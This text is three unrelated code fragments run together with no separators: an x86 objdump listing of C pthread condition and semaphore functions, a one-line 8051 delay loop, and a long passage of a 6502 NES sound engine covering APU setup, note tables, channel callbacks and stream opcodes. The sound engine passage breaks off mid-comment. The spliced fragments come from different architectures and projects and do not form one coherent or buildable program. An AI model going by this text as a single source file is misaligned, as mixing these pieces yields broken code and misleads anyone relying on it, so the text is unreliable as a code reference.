cmpl $0x0,-0xc(%ebp) ae1: 74 33 je b16 <pthread_cond_signal+0x5a> int threadId = mycond->threadId; ae3: 8b 45 f4 mov -0xc(%ebp),%eax ae6: 8b 00 mov (%eax),%eax ae8: 89 45 f0 mov %eax,-0x10(%ebp) mpthread_cond_t *garbage = mycond; aeb: 8b 45 f4 mov -0xc(%ebp),%eax aee: 89 45 ec mov %eax,-0x14(%ebp) cond->next = cond->next->next; af1: 8b 45 08 mov 0x8(%ebp),%eax af4: 8b 40 04 mov 0x4(%eax),%eax af7: 8b 50 04 mov 0x4(%eax),%edx afa: 8b 45 08 mov 0x8(%ebp),%eax afd: 89 50 04 mov %edx,0x4(%eax) free(garbage); b00: 8b 45 ec mov -0x14(%ebp),%eax b03: 89 04 24 mov %eax,(%esp) b06: e8 d9 fb ff ff call 6e4 <free> threadWake(threadId); b0b: 8b 45 f0 mov -0x10(%ebp),%eax b0e: 89 04 24 mov %eax,(%esp) b11: e8 32 f9 ff ff call 448 <threadWake> } return; b16: 90 nop } b17: c9 leave b18: c3 ret 00000b19 <pthread_sem_init>: void pthread_sem_init(mpthread_sem_t* sem, int flag, int value){ b19: 55 push %ebp b1a: 89 e5 mov %esp,%ebp b1c: 83 ec 04 sub $0x4,%esp sem->value = value; b1f: 8b 45 08 mov 0x8(%ebp),%eax b22: 8b 55 10 mov 0x10(%ebp),%edx b25: 89 10 mov %edx,(%eax) pthread_cond_init(&sem->cond); b27: 8b 45 08 mov 0x8(%ebp),%eax b2a: 83 c0 04 add $0x4,%eax b2d: 89 04 24 mov %eax,(%esp) b30: e8 e2 fe ff ff call a17 <pthread_cond_init> pthread_mutex_init(&sem->mutex); b35: 8b 45 08 mov 0x8(%ebp),%eax b38: 83 c0 0c add $0xc,%eax b3b: 89 04 24 mov %eax,(%esp) b3e: e8 88 fe ff ff call 9cb <pthread_mutex_init> return; b43: 90 nop } b44: c9 leave b45: c3 ret 00000b46 <pthread_sem_wait>: void pthread_sem_wait(mpthread_sem_t* sem){ b46: 55 push %ebp b47: 89 e5 mov %esp,%ebp b49: 83 ec 18 sub $0x18,%esp sem->value --; b4c: 8b 45 08 mov 0x8(%ebp),%eax b4f: 8b 00 mov (%eax),%eax b51: 8d 50 ff lea -0x1(%eax),%edx b54: 8b 45 08 mov 0x8(%ebp),%eax b57: 89 10 mov %edx,(%eax) if(sem->value < 0){ b59: 8b 45 08 mov 0x8(%ebp),%eax b5c: 8b 00 mov (%eax),%eax b5e: 85 c0 test %eax,%eax b60: 79 18 jns b7a <pthread_sem_wait+0x34> pthread_cond_wait(&sem->cond, &sem->mutex); b62: 8b 45 08 mov 0x8(%ebp),%eax b65: 8d 50 0c lea 0xc(%eax),%edx b68: 8b 45 08 mov 0x8(%ebp),%eax b6b: 83 c0 04 add $0x4,%eax b6e: 89 54 24 04 mov %edx,0x4(%esp) b72: 89 04 24 mov %eax,(%esp) b75: e8 b6 fe ff ff call a30 <pthread_cond_wait> } return; b7a: 90 nop } b7b: c9 leave b7c: c3 ret 00000b7d <pthread_sem_post>: void pthread_sem_post(mpthread_sem_t* sem){ b7d: 55 push %ebp b7e: 89 e5 mov %esp,%ebp b80: 83 ec 18 sub $0x18,%esp sem->value ++; b83: 8b 45 08 mov 0x8(%ebp),%eax b86: 8b 00 mov (%eax),%eax b88: 8d 50 01 lea 0x1(%eax),%edx b8b: 8b 45 08 mov 0x8(%ebp),%eax b8e: 89 10 mov %edx,(%eax) pthread_cond_signal(&sem->cond); b90: 8b 45 08 mov 0x8(%ebp),%eax b93: 83 c0 04 add $0x4,%eax b96: 89 04 24 mov %eax,(%esp) b99: e8 1e ff ff ff call abc <pthread_cond_signal> return; b9e: 90 nop } b9f: c9 leave ba0: c3 ret
delay: MOV R7, #50 DJNZ R7, $ RET
;Expects sound_param_byte_0 to contain desired region (SOUND_REGION_NTSC, SOUND_REGION_PAL, SOUND_REGION_DENDY) ;Expects sound_param_word_0 to contain song list address. ;Expects sound_param_word_1 to contain sfx list address. ;Expects sound_param_word_2 to contain instrument list address. ;If FEATURE_DPCM is defined, then ;Expects sound_param_word_3 to contain dpcm sample address. sound_initialize: lda #1 sta sound_disable_update lda sound_param_byte_0 sta sound_region ;Get songs address. lda sound_param_word_0 sta song_list_address lda sound_param_word_0+1 sta song_list_address+1 ;Get sfx address. lda sound_param_word_1 sta sfx_list_address lda sound_param_word_1+1 sta sfx_list_address+1 ;Get instruments address. lda sound_param_word_2 sta base_address_instruments lda sound_param_word_2+1 sta base_address_instruments+1 ifdef FEATURE_DPCM ;Get dpcm samples list. ldy #0 lda (sound_param_word_3),y sta base_address_dpcm_sample_table iny lda (sound_param_word_3),y sta base_address_dpcm_sample_table+1 ;Get dpcm note to sample index table. iny lda (sound_param_word_3),y sta base_address_dpcm_note_to_sample_index iny lda (sound_param_word_3),y sta base_address_dpcm_note_to_sample_index+1 ;Get dpcm note to sample length table. iny lda (sound_param_word_3),y sta base_address_dpcm_note_to_sample_length iny lda (sound_param_word_3),y sta base_address_dpcm_note_to_sample_length+1 ;Get dpcm note to loop and pitch index table. iny lda (sound_param_word_3),y sta base_address_dpcm_note_to_loop_pitch_index iny lda (sound_param_word_3),y sta base_address_dpcm_note_to_loop_pitch_index+1 endif ;Load PAL note table for PAL, NTSC for any other region. lda sound_region cmp #SOUND_REGION_PAL beq @pal @nstc: lda #<ntsc_note_table_lo sta base_address_note_table_lo lda #>ntsc_note_table_lo sta base_address_note_table_lo+1 lda #<ntsc_note_table_hi sta base_address_note_table_hi lda #>ntsc_note_table_hi sta base_address_note_table_hi+1 jmp @done @pal: lda #<pal_note_table_lo sta base_address_note_table_lo lda #>pal_note_table_lo sta base_address_note_table_lo+1 lda #<pal_note_table_hi sta base_address_note_table_hi lda #>pal_note_table_hi sta base_address_note_table_hi+1 @done: ;Enable square 1, square 2, triangle and noise. lda #%00001111 sta $4015 ;Ensure no apu data is uploaded yet. lda #0 sta apu_data_ready ifdef FEATURE_DPCM lda #DPCM_STATE_NOP sta apu_dpcm_state endif jsr sound_initialize_apu_buffer ;Make sure all streams are killed. jsr sound_stop dec sound_disable_update rts ;Kill all active streams and halt sound. sound_stop: ;Save x. txa pha inc sound_disable_update ;Kill all streams. ldx #(MAX_STREAMS-1) @loop: lda #0 sta stream_flags,x dex bpl @loop jsr sound_initialize_apu_buffer dec sound_disable_update ;Restore x. pla tax rts ;Updates all playing streams, if actve. Streams 0 through MAX_MUSIC_STREAMS-1 ;are assumed to be music streams. The last two streams, are assumed to be sound ;effect streams. When these are playing, their channel control registers are ;copied overtop what the corresponding music streams had written, so the sound ;effect streams essentially take over while they are playing. When the sound ;effect streams are finished, they signify their corresponding music stream ;(via the TRM callback) to silence themselves until the next note to avoid ;ugly volume envelope transitions. DPCM is handled within this framework by ;a state machine that handles sound effect priority. sound_update: ;Save regs. txa pha ;Signal apu data not ready. lda #0 sta apu_data_ready ;First copy all music streams. ldx #0 @song_stream_register_copy_loop: ;Load whether this stream is active. lda stream_flags,x and #STREAM_ACTIVE_TEST beq @song_stream_not_active ;Update the stream. jsr stream_update ;Load channel number. lda stream_channel,x ;Multiply by four to get location within apu_register_sets. asl a asl a tay ;Copy the registers over. lda stream_channel_register_1,x sta apu_register_sets,y lda stream_channel_register_2,x sta apu_register_sets+1,y lda stream_channel_register_3,x sta apu_register_sets+2,y lda stream_channel_register_4,x sta apu_register_sets+3,y @song_stream_not_active: inx cpx #MAX_MUSIC_STREAMS bne @song_stream_register_copy_loop @do_not_update_music: ldx #soundeffect_one @sfx_stream_register_copy_loop: ;Load whether this stream is active. lda stream_flags,x and #STREAM_ACTIVE_TEST beq @sfx_stream_not_active ;Update the stream. jsr stream_update ;Load channel number lda stream_channel,x ;Multiply by four to get location within apu_register_sets. asl a asl a tay ;Copy the registers over. lda stream_channel_register_1,x sta apu_register_sets,y lda stream_channel_register_2,x sta apu_register_sets+1,y lda stream_channel_register_3,x sta apu_register_sets+2,y lda stream_channel_register_4,x sta apu_register_sets+3,y @sfx_stream_not_active: inx cpx #MAX_STREAMS bne @sfx_stream_register_copy_loop ;Signial apu data ready. lda #1 sta apu_data_ready ;Restore regs. pla tax rts ;Note table borrowed from periods.s provided by FamiTracker's NSF driver. ntsc_note_table_lo: .db <$0D5B, <$0C9C, <$0BE6, <$0B3B, <$0A9A, <$0A01, <$0972, <$08EA, <$086A, <$07F1, <$077F, <$0713 .db <$06AD, <$064D, <$05F3, <$059D, <$054C, <$0500, <$04B8, <$0474, <$0434, <$03F8, <$03BF, <$0389 .db <$0356, <$0326, <$02F9, <$02CE, <$02A6, <$0280, <$025C, <$023A, <$021A, <$01FB, <$01DF, <$01C4 .db <$01AB, <$0193, <$017C, <$0167, <$0152, <$013F, <$012D, <$011C, <$010C, <$00FD, <$00EF, <$00E1 .db <$00D5, <$00C9, <$00BD, <$00B3, <$00A9, <$009F, <$0096, <$008E, <$0086, <$007E, <$0077, <$0070 .db <$006A, <$0064, <$005E, <$0059, <$0054, <$004F, <$004B, <$0046, <$0042, <$003F, <$003B, <$0038 .db <$0034, <$0031, <$002F, <$002C, <$0029, <$0027, <$0025, <$0023, <$0021, <$001F, <$001D, <$001B .db <$001A, <$0018, <$0017, <$0015, <$0014, <$0013, <$0012, <$0011, <$0010, <$000F, <$000E, <$000D ntsc_note_table_hi: .db >$0D5B, >$0C9C, >$0BE6, >$0B3B, >$0A9A, >$0A01, >$0972, >$08EA, >$086A, >$07F1, >$077F, >$0713 .db >$06AD, >$064D, >$05F3, >$059D, >$054C, >$0500, >$04B8, >$0474, >$0434, >$03F8, >$03BF, >$0389 .db >$0356, >$0326, >$02F9, >$02CE, >$02A6, >$0280, >$025C, >$023A, >$021A, >$01FB, >$01DF, >$01C4 .db >$01AB, >$0193, >$017C, >$0167, >$0152, >$013F, >$012D, >$011C, >$010C, >$00FD, >$00EF, >$00E1 .db >$00D5, >$00C9, >$00BD, >$00B3, >$00A9, >$009F, >$0096, >$008E, >$0086, >$007E, >$0077, >$0070 .db >$006A, >$0064, >$005E, >$0059, >$0054, >$004F, >$004B, >$0046, >$0042, >$003F, >$003B, >$0038 .db >$0034, >$0031, >$002F, >$002C, >$0029, >$0027, >$0025, >$0023, >$0021, >$001F, >$001D, >$001B .db >$001A, >$0018, >$0017, >$0015, >$0014, >$0013, >$0012, >$0011, >$0010, >$000F, >$000E, >$000D pal_note_table_lo: .db <$0C68, <$0BB6, <$0B0E, <$0A6F, <$09D9, <$094B, <$08C6, <$0848, <$07D1, <$0760, <$06F6, <$0692 .db <$0634, <$05DB, <$0586, <$0537, <$04EC, <$04A5, <$0462, <$0423, <$03E8, <$03B0, <$037B, <$0349 .db <$0319, <$02ED, <$02C3, <$029B, <$0275, <$0252, <$0231, <$0211, <$01F3, <$01D7, <$01BD, <$01A4 .db <$018C, <$0176, <$0161, <$014D, <$013A, <$0129, <$0118, <$0108, <$00F9, <$00EB, <$00DE, <$00D1 .db <$00C6, <$00BA, <$00B0, <$00A6, <$009D, <$0094, <$008B, <$0084, <$007C, <$0075, <$006E, <$0068 .db <$0062, <$005D, <$0057, <$0052, <$004E, <$0049, <$0045, <$0041, <$003E, <$003A, <$0037, <$0034 .db <$0031, <$002E, <$002B, <$0029, <$0026, <$0024, <$0022, <$0020, <$001E, <$001D, <$001B, <$0019 .db <$0018, <$0016, <$0015, <$0014, <$0013, <$0012, <$0011, <$0010, <$000F, <$000E, <$000D, <$000C pal_note_table_hi: .db >$0C68, >$0BB6, >$0B0E, >$0A6F, >$09D9, >$094B, >$08C6, >$0848, >$07D1, >$0760, >$06F6, >$0692 .db >$0634, >$05DB, >$0586, >$0537, >$04EC, >$04A5, >$0462, >$0423, >$03E8, >$03B0, >$037B, >$0349 .db >$0319, >$02ED, >$02C3, >$029B, >$0275, >$0252, >$0231, >$0211, >$01F3, >$01D7, >$01BD, >$01A4 .db >$018C, >$0176, >$0161, >$014D, >$013A, >$0129, >$0118, >$0108, >$00F9, >$00EB, >$00DE, >$00D1 .db >$00C6, >$00BA, >$00B0, >$00A6, >$009D, >$0094, >$008B, >$0084, >$007C, >$0075, >$006E, >$0068 .db >$0062, >$005D, >$0057, >$0052, >$004E, >$0049, >$0045, >$0041, >$003E, >$003A, >$0037, >$0034 .db >$0031, >$002E, >$002B, >$0029, >$0026, >$0024, >$0022, >$0020, >$001E, >$001D, >$001B, >$0019 .db >$0018, >$0016, >$0015, >$0014, >$0013, >$0012, >$0011, >$0010, >$000F, >$000E, >$000D, >$000C ;Maps NTSC to NTSC tempo, maps PAL and Dendy to ;faster PAL tempo in song and sfx headers. sound_region_to_tempo_offset: .db 0, 2, 2 channel_callback_table_lo: .db <square_1_play_note .db <square_2_play_note .db <triangle_play_note .db <noise_play_note ifdef FEATURE_DPCM .db <dpcm_play_note endif channel_callback_table_hi: .db >square_1_play_note .db >square_2_play_note .db >triangle_play_note .db >noise_play_note ifdef FEATURE_DPCM .db >dpcm_play_note endif stream_callback_table_lo: .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_s .db <stream_set_length_lo .db <stream_set_length_hi .db <stream_set_instrument .db <stream_goto .db <stream_call .db <stream_return .db <stream_terminate stream_callback_table_hi: .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_s .db >stream_set_length_lo .db >stream_set_length_hi .db >stream_set_instrument .db >stream_goto .db >stream_call .db >stream_return .db >stream_terminate ifdef FEATURE_ARPEGGIOS arpeggio_callback_table_lo: .db <(arpeggio_absolute-1) .db <(arpeggio_fixed-1) .db <(arpeggio_relative-1) arpeggio_callback_table_hi: .db >(arpeggio_absolute-1) .db >(arpeggio_fixed-1) .db >(arpeggio_relative-1) endif ;**************************************************************** ;These callbacks are all note playback and only execute once per ;frame. ;**************************************************************** square_1_play_note: ;Load instrument index. ldy stream_instrument_index,x ;Load instrument address. lda (base_address_instruments),y sta sound_local_word_0 iny lda (base_address_instruments),y sta sound_local_word_0+1 ;Set negate flag for sweep unit. lda #$08 sta stream_channel_register_2,x ifdef FEATURE_ARPEGGIOS ;Get arpeggio type. ldy #instrument_header_arpeggio_type lda (sound_local_word_0),y tay ;Get the address. lda #>(@return_from_arpeggio_callback-1) pha lda #<(@return_from_arpeggio_callback-1) pha lda arpeggio_callback_table_hi,y pha lda arpeggio_callback_table_lo,y pha rts @return_from_arpeggio_callback: else ldy stream_note,x endif ;Skip loading note pitch if already loaded, to allow envelopes ;to modify the pitch. lda stream_flags,x and #STREAM_PITCH_LOADED_TEST bne @pitch_already_loaded lda stream_flags,x ora #STREAM_PITCH_LOADED_SET sta stream_flags,x ;Load low byte of note. lda (base_address_note_table_lo),y ;Store in low 8 bits of pitch. sta stream_channel_register_3,x ;Load high byte of note. lda (base_address_note_table_hi),y sta stream_channel_register_4,x @pitch_already_loaded: lda stream_flags,x and #STREAM_SILENCE_TEST bne @silence_until_note @note_not_silenced: ;Load volume offset. ldy stream_volume_offset,x ;Load volume value for this frame, branch if opcode. lda (sound_local_word_0),y cmp #ENV_STOP beq @volume_stop cmp #ENV_LOOP bne @skip_volume_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_volume_offset,x tay @skip_volume_loop: ;Initialize channel control register with envelope decay and ;length counter disabled but preserving current duty cycle. lda stream_channel_register_1,x and #%11000000 ora #%00110000 ;Load current volume value. ora (sound_local_word_0),y sta stream_channel_register_1,x inc stream_volume_offset,x @volume_stop: jmp @done @silence_until_note: lda stream_channel_register_1,x and #%11000000 ora #%00110000 sta stream_channel_register_1,x @done: ;Load pitch offset. ldy stream_pitch_offset,x ;Load pitch value. lda (sound_local_word_0),y cmp #ENV_STOP beq @pitch_stop cmp #ENV_LOOP bne @skip_pitch_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_pitch_offset,x tay @skip_pitch_loop: ;Test sign. lda (sound_local_word_0),y bmi @pitch_delta_negative @pitch_delta_positive: clc lda stream_channel_register_3,x adc (sound_local_word_0),y sta stream_channel_register_3,x lda stream_channel_register_4,x adc #0 sta stream_channel_register_4,x jmp @pitch_delta_test_done @pitch_delta_negative: clc lda stream_channel_register_3,x adc (sound_local_word_0),y sta stream_channel_register_3,x lda stream_channel_register_4,x adc #$ff sta stream_channel_register_4,x @pitch_delta_test_done: ;Move pitch offset along. inc stream_pitch_offset,x @pitch_stop: @duty_code: ldy stream_duty_offset,x ;Load duty value for this frame, but hard code flags and duty for now. lda (sound_local_word_0),y cmp #DUTY_ENV_STOP beq @duty_stop cmp #DUTY_ENV_LOOP bne @skip_duty_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_duty_offset,x tay @skip_duty_loop: ;Or the duty value into the register. lda stream_channel_register_1,x and #%00111111 ora (sound_local_word_0),y sta stream_channel_register_1,x ;Move duty offset along. inc stream_duty_offset,x @duty_stop: rts square_2_play_note = square_1_play_note triangle_play_note: ;Load instrument index. ldy stream_instrument_index,x ;Load instrument address. lda (base_address_instruments),y sta sound_local_word_0 iny lda (base_address_instruments),y sta sound_local_word_0+1 ifdef FEATURE_ARPEGGIOS ;Get arpeggio type. ldy #instrument_header_arpeggio_type lda (sound_local_word_0),y tay ;Get the address. lda #>(@return_from_arpeggio_callback-1) pha lda #<(@return_from_arpeggio_callback-1) pha lda arpeggio_callback_table_hi,y pha lda arpeggio_callback_table_lo,y pha rts @return_from_arpeggio_callback: else ldy stream_note,x endif ;Skip loading note pitch if already loaded, to allow envelopes ;to modify the pitch. lda stream_flags,x and #STREAM_PITCH_LOADED_TEST bne @pitch_already_loaded lda stream_flags,x ora #STREAM_PITCH_LOADED_SET sta stream_flags,x ;Load low byte of note. lda (base_address_note_table_lo),y ;Store in low 8 bits of pitch. sta stream_channel_register_3,x ;Load high byte of note. lda (base_address_note_table_hi),y sta stream_channel_register_4,x @pitch_already_loaded: ;Load volume offset. ldy stream_volume_offset,x ;Load volume value for this frame, but hard code flags and duty for now. lda (sound_local_word_0),y cmp #ENV_STOP beq @volume_stop cmp #ENV_LOOP bne @skip_volume_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_volume_offset,x tay @skip_volume_loop: lda #%10000000 ora (sound_local_word_0),y sta stream_channel_register_1,x inc stream_volume_offset,x @volume_stop: ;Load pitch offset. ldy stream_pitch_offset,x ;Load pitch value. lda (sound_local_word_0),y cmp #ENV_STOP beq @pitch_stop cmp #ENV_LOOP bne @skip_pitch_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_pitch_offset,x tay @skip_pitch_loop: ;Test sign. lda (sound_local_word_0),y bmi @pitch_delta_negative @pitch_delta_positive: clc lda stream_channel_register_3,x adc (sound_local_word_0),y sta stream_channel_register_3,x lda stream_channel_register_4,x adc #0 sta stream_channel_register_4,x jmp @pitch_delta_test_done @pitch_delta_negative: clc lda stream_channel_register_3,x adc (sound_local_word_0),y sta stream_channel_register_3,x lda stream_channel_register_4,x adc #$ff sta stream_channel_register_4,x @pitch_delta_test_done: ;Move pitch offset along. inc stream_pitch_offset,x @pitch_stop: rts noise_play_note: ;Load instrument index. ldy stream_instrument_index,x ;Load instrument address. lda (base_address_instruments),y sta sound_local_word_0 iny lda (base_address_instruments),y sta sound_local_word_0+1 ifdef FEATURE_ARPEGGIOS ;Get arpeggio type. ldy #instrument_header_arpeggio_type lda (sound_local_word_0),y tay ;Get the address. lda #>(@return_from_arpeggio_callback-1) pha lda #<(@return_from_arpeggio_callback-1) pha lda arpeggio_callback_table_hi,y pha lda arpeggio_callback_table_lo,y pha rts @return_from_arpeggio_callback: else ldy stream_note,x endif tya and #%01111111 sta sound_local_byte_0 ;Skip loading note pitch if already loaded, to allow envelopes ;to modify the pitch. lda stream_flags,x and #STREAM_PITCH_LOADED_TEST bne @pitch_already_loaded lda stream_flags,x ora #STREAM_PITCH_LOADED_SET sta stream_flags,x lda stream_channel_register_3,x and #%10000000 ora sound_local_byte_0 sta stream_channel_register_3,x @pitch_already_loaded: ;Load volume offset. ldy stream_volume_offset,x ;Load volume value for this frame, hard code disable flags. lda (sound_local_word_0),y cmp #ENV_STOP beq @volume_stop cmp #ENV_LOOP bne @skip_volume_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_volume_offset,x tay @skip_volume_loop: lda #%00110000 ora (sound_local_word_0),y sta stream_channel_register_1,x ;Move volume offset along. inc stream_volume_offset,x @volume_stop: ;Load pitch offset. ldy stream_pitch_offset,x ;Load pitch value. lda (sound_local_word_0),y cmp #ENV_STOP beq @pitch_stop cmp #ENV_LOOP bne @skip_pitch_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_pitch_offset,x tay @skip_pitch_loop: ;Save off current duty bit. lda stream_channel_register_3,x and #%10000000 sta sound_local_byte_0 ;Advance pitch regardless of duty bit. clc lda stream_channel_register_3,x adc (sound_local_word_0),y and #%00001111 ;Get duty bit back in. ora sound_local_byte_0 sta stream_channel_register_3,x ;Move pitch offset along. inc stream_pitch_offset,x @pitch_stop: @duty_code: ;Load duty offset. ldy stream_duty_offset,x ;Load duty value for this frame, but hard code flags and duty for now. lda (sound_local_word_0),y cmp #DUTY_ENV_STOP beq @duty_stop cmp #DUTY_ENV_LOOP bne @skip_duty_loop ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_duty_offset,x tay @skip_duty_loop: ;We only care about bit 6 for noise, and we want it in bit 7 position. lda (sound_local_word_0),y asl a sta sound_local_byte_0 lda stream_channel_register_3,x and #%01111111 ora sound_local_byte_0 sta stream_channel_register_3,x ;Move duty offset along. inc stream_duty_offset,x @duty_stop: rts ifdef FEATURE_DPCM dpcm_play_note: ;Determine if silence until note is set. lda stream_flags,x and #STREAM_SILENCE_TEST bne @note_already_played ;Load note index. ldy stream_note,x ;Get sample index. lda (base_address_dpcm_note_to_sample_index),y bmi @no_sample ;This sample index looks up into base_address_dpcm_sample_table. tay lda (base_address_dpcm_sample_table),y sta stream_channel_register_3,x ;Get loop and pitch from dpcm_note_to_loop_pitch_index table. ldy stream_note,x lda (base_address_dpcm_note_to_loop_pitch_index),y sta stream_channel_register_1,x ;Get sample length. lda (base_address_dpcm_note_to_sample_length),y sta stream_channel_register_4,x ;Upload the dpcm data if sfx commands are not overriding. lda apu_dpcm_state cmp #DPCM_STATE_WAIT beq @skip cmp #DPCM_STATE_UPLOAD_THEN_WAIT beq @skip lda #DPCM_STATE_UPLOAD sta apu_dpcm_state @skip: lda stream_flags,x ora #STREAM_SILENCE_SET sta stream_flags,x @no_sample: @note_already_played: rts endif ifdef FEATURE_ARPEGGIOS arpeggio_absolute: ldy stream_arpeggio_offset,x lda (sound_local_word_0),y cmp #ENV_STOP beq @arpeggio_stop cmp #ENV_LOOP beq @arpeggio_loop @arpeggio_play: ;We're changing notes. lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Load the current arpeggio value and add it to current note. clc lda (sound_local_word_0),y adc stream_note,x tay ;Advance arpeggio offset. inc stream_arpeggio_offset,x jmp @done @arpeggio_stop: ;Just load the current note. ldy stream_note,x jmp @done @arpeggio_loop: ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_arpeggio_offset,x tay ;We're changing notes. lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Load the current arpeggio value and add it to current note. clc lda (sound_local_word_0),y adc stream_note,x tay ;Advance arpeggio offset. inc stream_arpeggio_offset,x @done: rts arpeggio_fixed: ldy stream_arpeggio_offset,x lda (sound_local_word_0),y cmp #ENV_STOP beq @arpeggio_stop cmp #ENV_LOOP beq @arpeggio_loop @arpeggio_play: ;We're changing notes. lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Load the current arpeggio value and use it as the current note. lda (sound_local_word_0),y ;sta stream_note,x tay ;Advance arpeggio offset. inc stream_arpeggio_offset,x jmp @done @arpeggio_stop: ;When a fixed arpeggio is done, we're changing notes to the ;currently playing note. (This is FamiTracker's behavior) ;However, we only do this if we're stopping at any point other ;than one, which indicates an arpeggio did in fact execute. lda stream_arpeggio_offset,x cmp #1 beq @skip_clear_pitch_loaded lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x @skip_clear_pitch_loaded: ;Just load the current note. ldy stream_note,x jmp @done @arpeggio_loop: ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_arpeggio_offset,x tay ;We're changing notes. lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Load the current arpeggio value and use it as the current note. lda (sound_local_word_0),y tay ;Advance arpeggio offset. inc stream_arpeggio_offset,x @done: rts arpeggio_relative: ldy stream_arpeggio_offset,x lda (sound_local_word_0),y cmp #ENV_STOP beq @arpeggio_stop cmp #ENV_LOOP beq @arpeggio_loop @arpeggio_play: ;We're changing notes. lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Load the current arpeggio value and add it to current note. clc lda (sound_local_word_0),y adc stream_note,x cmp #HIGHEST_NOTE bmi @skip lda #HIGHEST_NOTE @skip: sta stream_note,x tay ;Advance arpeggio offset. inc stream_arpeggio_offset,x jmp @done @arpeggio_stop: ;Just load the current note. ldy stream_note,x jmp @done @arpeggio_loop: ;We hit a loop opcode, advance envelope index and load loop point. iny lda (sound_local_word_0),y sta stream_arpeggio_offset,x tay ;We're changing notes. lda stream_flags,x and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Load the current arpeggio value and add it to current note. clc lda (sound_local_word_0),y adc stream_note,x tay ;Advance arpeggio offset. inc stream_arpeggio_offset,x @done: rts endif ;**************************************************************** ;These callbacks are all stream control and execute in sequence ;until exhausted. ;**************************************************************** stream_set_instrument: advance_stream_read_address ;Load byte at read address. lda stream_read_address_lo,x sta sound_local_word_0 lda stream_read_address_hi,x sta sound_local_word_0+1 ldy #0 lda (sound_local_word_0),y asl a sta stream_instrument_index,x tay lda (base_address_instruments),y sta sound_local_word_0 iny lda (base_address_instruments),y sta sound_local_word_0+1 ldy #0 lda (sound_local_word_0),y sta stream_volume_offset,x iny lda (sound_local_word_0),y sta stream_pitch_offset,x iny lda (sound_local_word_0),y sta stream_duty_offset,x ifdef FEATURE_ARPEGGIOS iny lda (sound_local_word_0),y sta stream_arpeggio_offset,x endif rts ;Set a standard note length. This callback works for a set ;of opcodes which can set the note length for values 1 through 16. ;This helps reduce ROM space required by songs. stream_set_length_s: ;determine note length from opcode sec lda stream_note,x sbc #OPCODES_BASE clc adc #1 sta stream_note_length_lo,x sta stream_note_length_counter_lo,x lda #0 sta stream_note_length_hi,x sta stream_note_length_counter_hi,x rts stream_set_length_lo: advance_stream_read_address ;Load byte at read address. lda stream_read_address_lo,x sta sound_local_word_0 lda stream_read_address_hi,x sta sound_local_word_0+1 ldy #0 lda (sound_local_word_0),y sta stream_note_length_lo,x sta stream_note_length_counter_lo,x lda #0 sta stream_note_length_hi,x sta stream_note_length_counter_hi,x rts stream_set_length_hi: advance_stream_read_address ;Load byte at read address. lda stream_read_address_lo,x sta sound_local_word_0 lda stream_read_address_hi,x sta sound_local_word_0+1 ldy #0 lda (sound_local_word_0),y sta stream_note_length_hi,x sta stream_note_length_counter_hi,x rts ;This opcode loops to the beginning of the stream. It expects the two ;following bytes to contain the address to loop to. stream_goto: advance_stream_read_address ;Load byte at read address. lda stream_read_address_lo,x sta sound_local_word_0 lda stream_read_address_hi,x sta sound_local_word_0+1 ldy #0 lda (sound_local_word_0),y sta stream_read_address_lo,x ldy #1 lda (sound_local_word_0),y sta stream_read_address_hi,x sec lda stream_read_address_lo,x sbc #1 sta stream_read_address_lo,x lda stream_read_address_hi,x sbc #0 sta stream_read_address_hi,x rts ;This opcode stores the current stream read address in ;return_stream_read_address (lo and hi) and then reads the ;following two bytes and stores them in the current stream read address. ;It is assumed that a RET opcode will be encountered in the stream which ;is being called, which will restore the return stream read address. ;This is how the engine can allow repeated chunks of a song. stream_call: advance_stream_read_address lda stream_read_address_lo,x sta sound_local_word_0 lda stream_read_address_hi,x sta sound_local_word_0+1 ;Retrieve lo byte of destination address from first CAL parameter. ldy #0 lda (sound_local_word_0),y sta sound_local_word_1 iny ;Retrieve hi byte of destination address from second CAL parameter. lda (sound_local_word_0),y sta sound_local_word_1+1 advance_stream_read_address ;Now store current stream read address in stream's return address. lda stream_read_address_lo,x sta stream_return_address_lo,x lda stream_read_address_hi,x sta stream_return_address_hi,x ;Finally, transfer address we are calling to current read address. sec lda sound_local_word_1 sbc #<1 sta stream_read_address_lo,x lda sound_local_word_1+1 sbc #>1 sta stream_read_address_hi,x rts ;This opcode restores the stream_return_address to the stream_read_address ;and continues where it left off. stream_return: lda stream_return_address_lo,x sta stream_read_address_lo,x lda stream_return_address_hi,x sta stream_read_address_hi,x rts ;This opcode returns from the parent caller by popping two bytes off ;the stack and then doing rts. stream_terminate: ;Set the current stream to inactive. lda #0 sta stream_flags,x cpx #soundeffect_one bmi @not_sound_effect ;Load channel this sfx writes to. ldy stream_channel,x ;Use this as index into streams to tell corresponding 